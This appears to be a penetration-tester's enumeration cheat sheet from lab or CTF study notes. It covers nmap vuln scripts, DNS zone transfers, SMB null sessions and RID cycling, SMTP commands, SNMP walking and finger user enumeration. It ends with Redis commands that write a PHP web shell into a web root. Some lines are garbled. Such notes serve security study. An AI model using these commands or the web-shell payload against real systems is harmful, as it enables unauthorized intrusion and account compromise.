Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.

NSE scripts that scans for vulnerabilities are at

nmap -p 80 --script=*vuln* $ip - Scan a target using all NSE vuln scripts.
nmap -p 80 --script=http*vuln* $ip - Scan a target using all HTTP vulns NSE scripts.
nmap -p 21 --script=ftp-anon $ip/24 - Scan entire network for FTP servers that allow anonymous access.
nmap -p 80 --script=http-vuln-cve2010-2861 $ip/24 - Scan entire network for a directory traversal vulnerability. It can even retrieve admin's password hash.

When initialising a zone transfer, the attacker will first need to know the name of the zone which they are targeting and then specify the IP address of the DNS server to perform the zone transfer against.
Below is a zone transfer against an open DNS server. You can use either of the commands below:
dig <target domain> @<dns server> axfr
host -l <target domain> <dns server>dig @[DNS SERVER HERE] axfr [DOMAIN NAME HERE]
The ‘@’ symbol is used to specify the target DNS server
host -l $ip ns1.$ip
dnsrecon -d $ip -t axfr
Finds nameservers for a given domain
host -t ns $ip| cut -d " " -f 4 #

Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: https://forums.offensive-security.com/showthread.php?12943-Found-solution-to-enum4linux-rpcclient-problem-NT_STATUS_INVALID_PARAMETER&highlight=NT_STATUS_INVALID_PARAMETER Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work.

Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating.
https://tools.kali.org/maintaining-access/ridenum
A null SMB session can be used to gather passwords and useful information from SMB 1 by looking in shares that are not password protected for interesting files. Windows NT/2000 XP default settings allow this. Windows 2003/XP SP2 SMB this behaviour is disabled.

symfonos:1 box
Completed machine with the above vulnerability: Symfonos:1
HELO
It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.
EHLO
An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.
MAIL FROM
With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.
RCPT TO
It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.
SIZE
This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.
DATA
With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.
VRFY
The server is asked to verify whether a particular email address or username actually exists.
TURN
This command is used to invert roles between the client and the server, without the need to run a new connaction.
AUTH
With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.
RSET
It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).
EXPN
This SMTP command asks for a confirmation about the identification of a mailing list.
HELP
It’s a client’s request for some information that can be useful for the a successful transfer of the email.
QUIT
It terminates the SMTP conversation.

openssl s_client -connect $ip:443
nmap --script ssl-enum-ciphers -p 443 $ip
- Look for unsafe ciphers such as Triple-DES and Blowfish

enumerate Community strings
./onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.11.1.73
Community string too long
If you see this download onesixtyone from Github and run it there
snmp-check -t $ip -c public
use nmap to enumerate info
nmap -sU -p161 --script "snmp-*" $ip
apt install snmp-mibs-downloader #translates MIBs into readable format
for community in public private manager; do snmpwalk -c $community -v1 $ip; done
snmpwalk -c public -v1 $ip
snmpenum $ip public windows.txt
Less noisy:
snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25
Based on UDP, stateless and susceptible to UDP spoofing
nmap -sU --open -p 16110.1.1.1-254 -oG out.txt
snmpwalk -c public -v1 10.1.1.1 # we need to know that there is a community called public
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25 # enumerate windows users
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2 # enumerates running processes

finger @$ip
if there is no user logged in this will show no username
finger [email protected]$ip
The finger command is very useful for checking users on target but it’s painful if brute-forced for a username.
use auxiliary/scanner/finger/finger_users
set rhosts $ip
set users_file
run
cd /tmp/
wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
tar -xvf finger-user-enum-1.0.tar.gz

First, the web server on the server broadcasts, including a simple PHP code and create a back door, which will help us to execute commands on the server.
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
CONFIG GET dbfilename
1) "dbfilename"
2) "shell.php"
SET cmd "<?php system($_GET['cmd']); ?>"
